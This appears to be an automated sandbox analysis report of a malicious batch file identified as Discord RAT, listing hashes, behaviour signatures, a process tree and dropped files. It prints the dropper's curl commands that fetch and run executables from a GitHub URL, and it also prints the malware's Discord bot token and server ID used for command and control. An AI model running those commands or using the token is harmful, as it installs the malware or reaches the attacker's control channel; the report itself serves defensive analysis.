Analysis

  • max time kernel
    69s
  • max time network
    77s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29-06-2024 13:38

General

  • Target

    Sharp CS V1.bat

  • Size

    551B

  • MD5

    a15cfc6331f0054de73a5353ee57bf21

  • SHA1

    a58aa430e12ccb6eb1da97faf6144a28bec218c1

  • SHA256

    e6c1cccd7586150fa37740b2fc0c2ecb919b0d18d257a2f7ad223678c8552a80

  • SHA512

    3ee703a10768f76a3afa9be065becfb05c36ad67af9ad30849f1106deb153d975938901453a957900981bcf61330b4cd57e3ca4f4566289fb8114d8bbcfc0425

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI0MzQwMDg0MDc3NDE2MDM4NQ.Gnre8o.K_NB2WHxREqF5j5C1y9xsPSpv67TWHFacISXVA

  • server_id

    1256564842899181648

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sharp CS V1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:784
    • C:\Windows\system32\curl.exe
      curl -LJO https://github.com/LongYears9/tools/raw/master/System.exe
      2⤵
      • Drops file in Program Files directory
      PID:4812
    • C:\Windows\system32\curl.exe
      curl -LJO https://github.com/LongYears9/tools/raw/master/Packages.exe
      2⤵
      • Drops file in Program Files directory
      PID:1584
    • C:\Program Files\System64\System.exe
      "C:\Program Files\System64\System.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4116
    • C:\Program Files\System64\Packages.exe
      "C:\Program Files\System64\Packages.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c mode con:cols=0120 lines=0030
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3844
        • C:\Windows\SysWOW64\mode.com
          mode con:cols=0120 lines=0030
          4⤵
            PID:4172
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c title Window Title
          3⤵
            PID:2068
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"
            3⤵
              PID:4300
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"
              3⤵
                PID:3920
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
                3⤵
                • Hide Artifacts: Hidden Files and Directories
                • Suspicious use of WriteProcessMemory
                PID:3440
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
                  4⤵
                  • Views/modifies file attributes
                  PID:1416
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t
                3⤵
                  PID:656
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\i6.bat
                  3⤵
                    PID:4652
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c
                    3⤵
                      PID:864
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c pause
                      3⤵
                        PID:3184
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c
                        3⤵
                          PID:1780

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    • C:\Program Files\System64\Packages.exe
                      Filesize

                      83KB

                      MD5

                      e155e62ecf5be9131dadecb19213a92a

                      SHA1

                      9ed3d1543b037e901c8870bd360bd5d65e15bda1

                      SHA256

                      70e2268a76050c6354ad22b0b997a41a48d7148219f6459acd44aadabe3bc500

                      SHA512

                      fdc30e0fc2d98b27a7fd145247373e5a38856cacaf6f6f66f2716175a4e2ced25f7383a1a42c2c8863a937a345362748575db4a65945e29c3f787975e1402959

                    • C:\Program Files\System64\System.exe
                      Filesize

                      78KB

                      MD5

                      e102b8965e704f7ec4a214ce99b135c8

                      SHA1

                      8cba275b20c831b3b8f0506b5be5a3b0933b77c0

                      SHA256

                      8d172d0825449e0471982d06cac82536652167eee091815da823ae1d1fffedcf

                      SHA512

                      71e46823794dc72ff76c674e16538d24d18d0c9cb14bfa28c0bae38a3ebeeeba7a503fea5f9f5504c631eeaffe61a2187453c2d5991dd1c84a2c6ce48f5f4158

                    • C:\Users\Admin\AppData\Local\Temp\i6.bat
                      Filesize

                      173B

                      MD5

                      0f8f70e88009593eefaa155a8e31b1d6

                      SHA1

                      eabcc3f2135e0919e9456da0a4b1084f3382d4b6

                      SHA256

                      941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b

                      SHA512

                      94df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750

                    • C:\Users\Admin\AppData\Local\Temp\i6.t
                      Filesize

                      3B

                      MD5

                      a5ea0ad9260b1550a14cc58d2c39b03d

                      SHA1

                      f0aedf295071ed34ab8c6a7692223d22b6a19841

                      SHA256

                      f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

                      SHA512

                      7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

                    • memory/4116-8-0x00007FF8E2B03000-0x00007FF8E2B05000-memory.dmp
                      Filesize

                      8KB

                    • memory/4116-9-0x000002CE625C0000-0x000002CE625D8000-memory.dmp
                      Filesize

                      96KB

                    • memory/4116-10-0x000002CE7CCF0000-0x000002CE7CEB2000-memory.dmp
                      Filesize

                      1.8MB

                    • memory/4116-17-0x000002CE7E260000-0x000002CE7E788000-memory.dmp
                      Filesize

                      5.2MB